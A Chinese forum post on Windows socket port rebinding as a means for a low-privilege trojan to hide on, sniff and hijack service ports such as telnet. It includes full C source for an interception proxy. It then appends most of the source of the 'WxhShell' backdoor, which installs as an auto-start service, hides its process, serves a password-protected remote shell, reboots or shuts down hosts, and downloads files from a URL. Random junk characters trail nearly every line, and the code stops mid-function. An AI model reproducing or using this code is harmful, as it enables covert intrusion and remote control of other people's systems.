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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Q3'fz 9v  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); cm@jt\D  
_7Xd|\Zc  
  saddr.sin_family = AF_INET; Y3vX)D}  
"%{,T  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); u iBl#J Q  
- *:p.(c  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ad"'O]  
x`]Of r'  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ~hS3*\^~M  
B3y?.  
  这意味着什么?意味着可以进行如下的攻击: #d7N| 9_  
wVx,JL5Jr  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 W3 De|V^  
b->eg 8|  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) n 11LxGwk  
&}vR(y*#c  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Z7JKaP9{:  
1S+;ZMk  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  }czsa_  
@)o0GHNP  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 gzVtxDh  
+J"'  'cZ  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 By2s']bw  
^ Xm/  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ETM2p1 ru0  
JDkCUN5  
  #include bsB},pc  
  #include r)gCTV(kb  
  #include 9z #P  
  #include    7e1dEgn  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Rb)|66&3&  
  int main() [-4KY4R  
  { As0 B\  
  WORD wVersionRequested; dw~[9oh  
  DWORD ret; gXLCRn!iR  
  WSADATA wsaData; e,EK,,iY5  
  BOOL val; {1jpLdCbV^  
  SOCKADDR_IN saddr; Y!Drb-U?;  
  SOCKADDR_IN scaddr; uaiz*Im  
  int err; '0Lov]L  
  SOCKET s; J5;5-:N  
  SOCKET sc; L~IE,4  
  int caddsize; Q8;#_HE  
  HANDLE mt; VKy5=2&  
  DWORD tid;   ba8 6 N  
  wVersionRequested = MAKEWORD( 2, 2 ); "l TZ|k^  
  err = WSAStartup( wVersionRequested, &wsaData ); 0mTEim  
  if ( err != 0 ) { rOW;yJ[  
  printf("error!WSAStartup failed!\n"); )u0O_R  
  return -1; lK*jhW?3:  
  } S`=n&'  
  saddr.sin_family = AF_INET; [9OSpq  
   (%bE~Q2P*<  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 UgR :qjI  
R"Kz!NTB  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); kae2 73"  
  saddr.sin_port = htons(23); A;,Dg=FL/  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Z ] '>  
  { oCVku:.  
  printf("error!socket failed!\n"); |H W( vA  
  return -1; Rv<L#!; t  
  } b0 &  
  val = TRUE; Yrxk Kw#  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 +i.u< T  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) b,Ke>.m  
  { _8^0!,j  
  printf("error!setsockopt failed!\n"); +%XnMl  
  return -1; }#6xFTH  
  } } Gr&w-v  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; P`EgA  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 1[SA15h  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 "]#'QuR  
BxdX WO  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) @r<b:?u  
  { > H BJk:  
  ret=GetLastError(); q jz3<`7-  
  printf("error!bind failed!\n"); |gv{z"  
  return -1; & fu z2xv  
  } cKjRF6w  
  listen(s,2); 2JZdw  
  while(1) I8u!\F  
  { d)tiO2W  
  caddsize = sizeof(scaddr); $mpO?D J~  
  //接受连接请求 [jrqzB  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);  qSTWb%  
  if(sc!=INVALID_SOCKET) Z5B/|{  
  { j;\[pg MR/  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 8KMv Ac  
  if(mt==NULL) JoJukoy}F  
  { 6+3$:?  
  printf("Thread Creat Failed!\n"); ` 1+%}}!$u  
  break; SkHYXe"]  
  } :, _!pe;H  
  } dJi|D  
  CloseHandle(mt); R0wf#%97  
  } Svw<XJ   
  closesocket(s); ?pG/m%[  
  WSACleanup(); g jxS  
  return 0; ag 8`O&+  
  }   g^l RG3a  
  DWORD WINAPI ClientThread(LPVOID lpParam) vtyx`F f  
  { S^N {wZo  
  SOCKET ss = (SOCKET)lpParam; &| !B!eOY  
  SOCKET sc; &= eYr{  
  unsigned char buf[4096]; %e? fH.)  
  SOCKADDR_IN saddr; ER^QV(IvP8  
  long num; opp!0:jS*  
  DWORD val; U~H?4Izl=  
  DWORD ret; 66\jV6eH7L  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ~<)vKk  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   UyiJU~r1  
  saddr.sin_family = AF_INET; -RMi8{  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 3FNT|QF  
  saddr.sin_port = htons(23); 3t" 4TjAy  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _<*Hv*Zm  
  { 8-M e.2K  
  printf("error!socket failed!\n"); JOD/Raq.1k  
  return -1;  tR)H~l7q  
  } RMP9y$~3pU  
  val = 100; 2@khSWV  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) BKIjNV3  
  { [6tSYUZs  
  ret = GetLastError(); +L%IG  
  return -1; X2yTlLdY  
  } 27A!\pn  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) m3.sVI0I  
  { p2 %  
  ret = GetLastError(); u:dx;*  
  return -1; x#H 3=YD*  
  } MX|H}+\  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) DjLL|jF  
  { "%6/a7S  
  printf("error!socket connect failed!\n"); _[h8P9YI4  
  closesocket(sc); Vba.uKNjk  
  closesocket(ss); UE"GJt`I  
  return -1; cg{AMeW  
  } tTanW2C  
  while(1) !L24+$  
  { SA"8!soY3  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 R 9 4^4I  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 <q2?S  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 3n;K!L%zMT  
  num = recv(ss,buf,4096,0); L.'}e{ldW  
  if(num>0) +.yT/y"  
  send(sc,buf,num,0); =O$M_1lp  
  else if(num==0) 5&!c7$K0  
  break; O XP\R  
  num = recv(sc,buf,4096,0); H17-/|-;0!  
  if(num>0) [wnDHy6W  
  send(ss,buf,num,0); ^Q}eatEn  
  else if(num==0) ec3<%+0f  
  break; R.9V,R5  
  } 23]Y<->Eu<  
  closesocket(ss); z@ 35NZn  
  closesocket(sc); 98XVa\|tl  
  return 0 ; fS&6  
  } Cb;WZ3HR  
T^.Cc--c  
9&]M**X  
========================================================== wq!iV |  
#FxPj-3(ix  
下边附上一个代码,,WXhSHELL pv)`%<  
~FU@wV^   
========================================================== ""iaGH+Cxw  
dt\jGD  
#include "stdafx.h" 2}U!:bn(  
0%`4px4J  
#include <stdio.h> "Zv~QwC  
#include <string.h> C#0Qd%  
#include <windows.h> ~a9W3b4j  
#include <winsock2.h> iA }vKQ  
#include <winsvc.h> ?#A]{l  
#include <urlmon.h> _ QOZ sEe  
Fg]?zEa  
#pragma comment (lib, "Ws2_32.lib") 2/ rt@{V(  
#pragma comment (lib, "urlmon.lib") Wi. 5Y{  
kS5_&#  
#define MAX_USER   100 // 最大客户端连接数 KJn!Ap  
#define BUF_SOCK   200 // sock buffer zmuMWT;  
#define KEY_BUFF   255 // 输入 buffer nAJdr*`a,5  
OWq'[T4  
#define REBOOT     0   // 重启 K$ }a8rH  
#define SHUTDOWN   1   // 关机 da!P0x9p  
Io`P,l:  
#define DEF_PORT   5000 // 监听端口 U&Wwyu:4i  
|KI UgI  
#define REG_LEN     16   // 注册表键长度 n"Veem[_4g  
#define SVC_LEN     80   // NT服务名长度 jEdtJ EPa  
iSLGwTdLn  
// 从dll定义API :nN1e  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ZFm`UXS  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); PQmq5N6  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); G.Vu KsP]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ji1HV1S  
~+X9g  
// wxhshell配置信息 Oc].@Jy  
struct WSCFG { eYUr-rN+)z  
  int ws_port;         // 监听端口 .jw}JJ  
  char ws_passstr[REG_LEN]; // 口令 ./vZe_o)j$  
  int ws_autoins;       // 安装标记, 1=yes 0=no 3chPY4~A  
  char ws_regname[REG_LEN]; // 注册表键名 lA(Q@yEW  
  char ws_svcname[REG_LEN]; // 服务名 6DTTV66  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 lH^^77"4Qo  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }kHdK vZ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +yob)%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no gU^$Sx7'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" s'aip5P  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _ZB\L^j)  
%=we `&  
}; wm{3&m  
'+>fFM,*B  
// default Wxhshell configuration D%mXA70  
struct WSCFG wscfg={DEF_PORT, RgdysyB  
    "xuhuanlingzhe", r~-.nb"P  
    1, d,vNem-Z*L  
    "Wxhshell",  MTER(L  
    "Wxhshell", @oF$LMD  
            "WxhShell Service",  9fnA  
    "Wrsky Windows CmdShell Service", AUVgPXOwd  
    "Please Input Your Password: ", /M~!sPW&?  
  1, qSqI7ptA\  
  "http://www.wrsky.com/wxhshell.exe", <:/&&@2  
  "Wxhshell.exe" -4rDbDsr  
    }; @$"J|s3M  
{CG_P,FO  
// 消息定义模块 &c(WE RW?-  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; OJN2z  
char *msg_ws_prompt="\n\r? for help\n\r#>"; -4w=s|#.\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; X:a`B(@S  
char *msg_ws_ext="\n\rExit."; FsB^CxVg  
char *msg_ws_end="\n\rQuit."; hv6@Jr3  
char *msg_ws_boot="\n\rReboot..."; OdWou|Gz  
char *msg_ws_poff="\n\rShutdown..."; 5erc D  
char *msg_ws_down="\n\rSave to "; (`>voi<^  
+MbIB&fRCB  
char *msg_ws_err="\n\rErr!"; ;@,Q&B2eM  
char *msg_ws_ok="\n\rOK!"; w;}@'GgL  
s](aNe2j  
char ExeFile[MAX_PATH]; u~ ~R9.  
int nUser = 0; C 3hv*  
HANDLE handles[MAX_USER]; oRKEJ Nps  
int OsIsNt; )#a[-.OI  
l kyzNy9R  
SERVICE_STATUS       serviceStatus; !Fw?H3X!"q  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \T]EZ'+O  
i&njqK!wS  
// 函数声明 -LDCBc"  
int Install(void);  nVu&/  
int Uninstall(void); ri`R<l8  
int DownloadFile(char *sURL, SOCKET wsh); q#Zs\PD  
int Boot(int flag); g-`~eG28D5  
void HideProc(void); #po5_dE\*  
int GetOsVer(void); yKXff1^M  
int Wxhshell(SOCKET wsl); n9pN6,o+  
void TalkWithClient(void *cs); 9jN)I(^D6  
int CmdShell(SOCKET sock); +$xeoxU>;  
int StartFromService(void); 2oa#0`{  
int StartWxhshell(LPSTR lpCmdLine); H/M Au7  
*`j-i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 7&`}~$>}>e  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @prG%vb"  
B63pgPX  
// 数据结构和表定义 AC O)Dt(Y  
SERVICE_TABLE_ENTRY DispatchTable[] = uj%skOD6Z  
{ e *(b  
{wscfg.ws_svcname, NTServiceMain}, nA|.t  
{NULL, NULL} 2j(h+?N7k  
}; =X?\MVWB  
ELh8ltLY  
// 自我安装 +(xeT+J  
int Install(void) 2,lqsd:xM  
{ +\li*G]:J  
  char svExeFile[MAX_PATH]; s[8@*/ds  
  HKEY key; f<+ 4rHT  
  strcpy(svExeFile,ExeFile); Ggh.dZI4  
th6+2&B6  
// 如果是win9x系统,修改注册表设为自启动 st"{M\.p  
if(!OsIsNt) { ?[*0+h`en  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0Io'bF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #j@71]GI  
  RegCloseKey(key); Xh J,"=E+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :Rs^0F8)c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )s1Ib4C  
  RegCloseKey(key); 5XuT={o  
  return 0; L lBN-9p  
    } \#68;)+=  
  } R*|LI  
} @&D?e:|!U  
else { i,13b e  
]"c+sMW  
// 如果是NT以上系统,安装为系统服务 e4~>G?rM_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); tbnH,*  
if (schSCManager!=0) 2F%W8Y 3  
{ .(J?a"  
  SC_HANDLE schService = CreateService qO`)F8  
  ( ZoKcJA  
  schSCManager, lpH=2l$>?  
  wscfg.ws_svcname, @!&}}"<  
  wscfg.ws_svcdisp, q1E:l!2al  
  SERVICE_ALL_ACCESS, 3] 1-M  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "O8gJ0e  
  SERVICE_AUTO_START, 7Cjd.0T=(  
  SERVICE_ERROR_NORMAL, +UJuB  
  svExeFile, E~<`/s  
  NULL, C"lJl k9g^  
  NULL, jGrN\D?h  
  NULL, M MzGd:0b  
  NULL, $+}+zZX5  
  NULL -@>BHC  
  ); &C>/L;  
  if (schService!=0) )otb>w5  
  { (H oqR  
  CloseServiceHandle(schService); TpA\9N#$  
  CloseServiceHandle(schSCManager); 1 nvTce  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `nUO l  
  strcat(svExeFile,wscfg.ws_svcname); 2 xw6 5z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { d--y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); j@Qg0F  
  RegCloseKey(key); IlX$YOf4  
  return 0; #d{=\$=  
    } '03->7V  
  } 2iu_pjj  
  CloseServiceHandle(schSCManager); b| SE<\  
} E,n}HiAz7V  
} CIjZG?A  
bVmA tm[  
return 1; XPB9~::  
} 7FN<iI&7\  
pj?XLiM54%  
// 自我卸载 .oEmU+  
int Uninstall(void) ^$%Z! uz  
{ I8OD$`~*U6  
  HKEY key; E{HY!L[  
6 \B0^  
if(!OsIsNt) { k%[3Q>5iM  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7?OH,^  
  RegDeleteValue(key,wscfg.ws_regname); +.RKi !  
  RegCloseKey(key); I2(zxq&2M\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }AZc8o-  
  RegDeleteValue(key,wscfg.ws_regname); A?G IBjs  
  RegCloseKey(key); |%~+2m  
  return 0; yBLK$@9  
  } kF7(f|*  
} @?C#r.vgp  
} 2!N8rHRt  
else { (I@bkMp  
!~_zm*CqbZ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5q@LxDy,b  
if (schSCManager!=0) 7j5f ;O^+  
{ FZB~|3eq{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 3Q/#T1@  
  if (schService!=0) {f9{8-W <u  
  { > Oh?%%6  
  if(DeleteService(schService)!=0) { ozsxXBh-`'  
  CloseServiceHandle(schService); k\Q ,h75  
  CloseServiceHandle(schSCManager); Qy#)Gxp  
  return 0; K}[>T(0E  
  } pIW I  
  CloseServiceHandle(schService); 9iN.3/T8  
  } wwKh CmH  
  CloseServiceHandle(schSCManager); sqx` ">R  
} TG n-7 88  
} =Cqv=   
=Nz0.:  
return 1; NGYyn`Lx  
} ! #wdVe_(  
H* !EP  
// 从指定url下载文件 V+?]S  
int DownloadFile(char *sURL, SOCKET wsh) w^K^I_2ge  
{ gPS&^EdxA  
  HRESULT hr; ashcvn~z  
char seps[]= "/"; h72UwJ2rw  
char *token; Oc9#e+_&  
char *file; +.[\g|G  
char myURL[MAX_PATH]; /EwGW  
char myFILE[MAX_PATH]; `,wu}F85  
5p?!ni9  
strcpy(myURL,sURL); h%d^Gq~  
  token=strtok(myURL,seps); QGiAW7b5  
  while(token!=NULL) _RMQy~&b  
  { 9?+9UlJ7K  
    file=token; ba@ax3  
  token=strtok(NULL,seps); _i}wK?n  
  } B68H&h]D#'  
$ &5w\P  
GetCurrentDirectory(MAX_PATH,myFILE); 6FfOH<\z6i  
strcat(myFILE, "\\"); $awi>#[  
strcat(myFILE, file); wh 0<Uv  
  send(wsh,myFILE,strlen(myFILE),0); yI:# |w|  
send(wsh,"...",3,0); ]kktoP|D  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); pw>m.=9|y  
  if(hr==S_OK) Hr;h4J  
return 0; KB{RU'?f|  
else )J/HkOj"V  
return 1; tP ~zKU  
%@& a7JOL  
} @%tXFizh  
Iyk6=&?j  
// 系统电源模块 p5c8YfM  
int Boot(int flag) Ru%|}sfd  
{ "5DJu ~  
  HANDLE hToken; E|Bd>G  
  TOKEN_PRIVILEGES tkp; ? s} %  
^. X[)U  
  if(OsIsNt) { k/&]KYwu  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Dxx;v.$  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 90 { tIX  
    tkp.PrivilegeCount = 1; 4dhqLVgL{  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;M v~yb3v  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )jW(6  
if(flag==REBOOT) { u7]<=*V]  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ESQ!@G/n  
  return 0; (;o*eFC F  
}  o sdOw8  
else { f|0lj   
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0TE@xqW  
  return 0; J2Et-Cz1  
} Z-Wfcnk  
  } =v2%Vs\7k  
  else { ^^Lj I  
if(flag==REBOOT) { c cG['7  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *c]KHipUIS  
  return 0; &/F_*=VE  
} E1q%gi4Q%  
else {  .Oo/y0E^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 3l:XhLOj  
  return 0; ~^o=a?L`<  
} Y5TS>iEE]  
} FUTn  
")\aJ8  
return 1; (9.yOc4  
} _x\m|SF_g  
O8RzUg&  
// win9x进程隐藏模块 r%MyR8'k]  
void HideProc(void) sWxK~Yg  
{ 2;(W-]V?  
P.4E{.)(  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $ad&#q7  
  if ( hKernel != NULL ) Lt<oi8'N  
  { 9]~PC Z2j  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); WM< \e  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Kdt|i93  
    FreeLibrary(hKernel); {g=b]yg\o  
  } zGs|DB  
(&Q)EBdm  
return; +{>.Sk'$  
} !LSs9_w  
,VG9)K 1K  
// 获取操作系统版本 & l^n4  
int GetOsVer(void) 6o lV+  
{  q6)N*?  
  OSVERSIONINFO winfo; O)<r>vqe}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); N{pa) /  
  GetVersionEx(&winfo); :uR>UDlPX  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) &q>h *w4O  
  return 1; yV_ L/,6}D  
  else '5WN,Vy8.  
  return 0; HWbBChDF  
} )kA2vX^=Z  
= o+7xom  
// 客户端句柄模块 \]a uSO  
int Wxhshell(SOCKET wsl) KZ\dB;W< |  
{ $~o3}&az  
  SOCKET wsh; /,t| !)\]  
  struct sockaddr_in client; 1}DerX6  
  DWORD myID; /$*; >4=>f  
n2;(1qr  
  while(nUser<MAX_USER) W9jNUZVXE#  
{ yy))Z0E5  
  int nSize=sizeof(client); R`3x=q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); mS7E_A8  
  if(wsh==INVALID_SOCKET) return 1; z (#Xca  
WhenwQT  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); e@+v9Bs]q  
if(handles[nUser]==0) G4);/#  
  closesocket(wsh); y3AL)  
else Si[eAAd' :  
  nUser++; ])68wqD  
  } af^@ .$ |  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); s #`cX0L)  
X@eg<]'m  
  return 0; !xJFr6G~8  
} * T\>  
=_pmy>_z  
// 关闭 socket & ]%\.m  
void CloseIt(SOCKET wsh) M3PVixli3  
{ B*BHF95!  
closesocket(wsh); .yG8B:7N2  
nUser--; P69>gBZYD  
ExitThread(0); M+\rX1T  
} y!BB7cK6  
YBeZN98Nt  
// 客户端请求句柄 k~ZBJ+ 94  
void TalkWithClient(void *cs) 6O]Xhe0d@  
{ >Ziy1Dp  
)*+u\x_Hx  
  SOCKET wsh=(SOCKET)cs; XuA0.b%  
  char pwd[SVC_LEN]; ]~ >@%v&  
  char cmd[KEY_BUFF]; ^Y#@$c  
char chr[1]; A>[hC{  
int i,j; d7\k  gh  
s%hU*^ 8  
  while (nUser < MAX_USER) { C!`>cUhE{  
%oMWcgsdJi  
if(wscfg.ws_passstr) { {W]bU{%.  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ho(5r5SNE  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); PlF89-  
  //ZeroMemory(pwd,KEY_BUFF); b^+Fs  
      i=0; `f2W;@V0  
  while(i<SVC_LEN) { ;}$Z 80  
Cbazwq  
  // 设置超时 o8iig5bp  
  fd_set FdRead; (c  u'  
  struct timeval TimeOut; |2[S/8g!  
  FD_ZERO(&FdRead); !XkymIX~O.  
  FD_SET(wsh,&FdRead); nmTm(?yE  
  TimeOut.tv_sec=8; 0@JilGk1u  
  TimeOut.tv_usec=0; fpI; `s  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $(Z]TS$M&  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [BJ$|[11  
'nC3:U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X v`2hf  
  pwd=chr[0]; qr7 X-[&  
  if(chr[0]==0xd || chr[0]==0xa) { |Gf1^8:C9  
  pwd=0; m+;B!4 6  
  break; "u .)X3  
  } e4[-rkn{hl  
  i++; pjaiAe!k  
    } hP,b-R9\  
cfrvy^>,  
  // 如果是非法用户,关闭 socket ey'pm\Z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =$&7IQ?  
} a!TBk=P  
+,ZU TG  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);  muK'h`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D!l [3  
7F>gj  
while(1) {  ;Puy A  
i*mZi4URN  
  ZeroMemory(cmd,KEY_BUFF); 9~LpO>-  
_"R3N  
      // 自动支持客户端 telnet标准   8MYLXW6  
  j=0; krEH`f  
  while(j<KEY_BUFF) { 3I(dC|d  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uzzWZ9Tv  
  cmd[j]=chr[0]; =;'ope(?S  
  if(chr[0]==0xa || chr[0]==0xd) { XhHel|!g:  
  cmd[j]=0; "ZA$"^  
  break; 'xLM>6[wz  
  } i?1js! 8  
  j++; j]@ x Q,y  
    } SdjUhR+o  
97:t29N  
  // 下载文件 '$2oSd  
  if(strstr(cmd,"http://")) { IS5.i95m  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); twYB=68  
  if(DownloadFile(cmd,wsh)) *_2O*{V  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); i/C -{+}U  
  else i?&4SG+2~K  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kz$6}&uk  
  } FcA)RsMI*  
  else { ;*<{*6;=?  
q:EzKrE  
    switch(cmd[0]) { *<|~=*Ddf  
  @&i#S}%/  
  // 帮助 +[X.-,yW  
  case '?': { % +t  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $~w@0Yl  
    break; ?:{0  
  } #G[ *2h~99  
  // 安装 OTNZ!U/)j  
  case 'i': { pR@GvweA  
    if(Install()) <manv8*6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n!CP_  
    else 3;t@KuQ66  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y7b,td1  
    break; [#,X$O>  
    } ( TbB?X}  
  // 卸载 l7D4`i<F  
  case 'r': { L_.xr ?  
    if(Uninstall()) "S{6LWkD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QvK]<HEr  
    else kw}ISXz v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,,wyydG  
    break; ~' Qpf 8)  
    } ]'1N_m]?  
  // 显示 wxhshell 所在路径 p)[ BB6E  
  case 'p': { ,,C~j`F  
    char svExeFile[MAX_PATH]; ]X"i~$T1S  
    strcpy(svExeFile,"\n\r"); %DND&0`  
      strcat(svExeFile,ExeFile); "ojDf3@{  
        send(wsh,svExeFile,strlen(svExeFile),0); Vbqm]2o&  
    break; ?O.6r"  
    } kw-Kx4 )  
  // 重启 v#<+n{B  
  case 'b': { x`=5l`  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); KoQ_: `  
    if(Boot(REBOOT)) t UAY]BJ*s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [ ;3EzZL  
    else { ]Xkc0E1  
    closesocket(wsh); _uy5?auQ  
    ExitThread(0); 9q0,K" x)  
    } WKYA9BaR  
    break; fB @pwmu  
    } b$`4Nn|  
  // 关机 9B6_eFb  
  case 'd': { ^B"_b?b  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]a%\Q 2[c  
    if(Boot(SHUTDOWN)) N:gstp  
